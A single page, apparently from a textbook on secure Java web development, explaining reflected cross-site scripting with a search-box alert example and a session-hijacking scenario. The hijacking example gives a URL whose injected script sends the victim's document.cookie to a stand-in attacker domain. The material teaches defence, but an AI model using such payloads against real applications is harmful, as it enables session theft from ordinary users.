Insights into Web Application Security Risk - Secure Java: For Web Application Development - page 93

he data sent to the Web server as a parameter is just replayed back to the user in a relected XSS
attack. Let us consider a simple example. A search engine on the Internet allows users to enter
search queries and locates pages on the Internet based on those search queries. For instance, we
have a variable called searchQuery. Normally, if the user enters the search string rabbit , then the
search engine would display all pages containing the key word rabbit . Now let us suppose that the
user replaces the same search string with <script>alert('his is XSS')</script>, so the URL would
look something like this:
http://www.mysearchEngine.com/search?searchQuery=<script>alert
('This is XSS')</script>
Ideally the server should not accept such arbitrary input, but if the server does due to vulnerability,
then the searchQuery entered would process the data in the script tags as HTML and display an
alert: his is XSS . Figure 5.5 is a screenshot of a relected XSS attack.
Although relected XSS looks relatively harmless, it is quite the contrary. XSS attacks are used
by attackers of a Web application in attacking the other legitimate users of the Web application.
Relected XSS typically can be used to perpetrate a session hijacking attack, where a legitimate
user's session is hijacked and the attacker uses the session to log on as the user. Let us explore how
this is possible.
A user of a Web application logs in using the appropriate credentials, where a cookie/sessionID
is provided:
Set-cookie: JSESSIONID=CC1BE39D001CEA7CEFDECC97143E5F4E;
he attacker has already identiied an XSS vulnerability in the Web application and supplies the
legitimate user with the URL containing the malicious XSS vector:
https://www.legit-web-application.com/errorPage.jsp?info=<script>var+i=ne
w+Image;+i.src=”http://www.i-am-attacker.com”%2bdocument.cookie</script>
he user unknowingly clicks the URL fed to him by the attacker and actually ends up executing
the JavaScript in the URL.
Once the JavaScript has been executed, the session ID of the user is sent to the attacker's site
and the attacker, upon monitoring the same, now has access to the user's session ID and can use
the same to perform activities on the application as the legitimate user of the application.
It is important to note here that the attacker must identify the XSS vulnerability in the Web
application for carrying out this attack. he attacker must identify the vulnerability and then
Figure 5.5 Screenshot of a relected XSS attack, where the alert box has been displayed to
indicate injection of JavaScript into an input ield.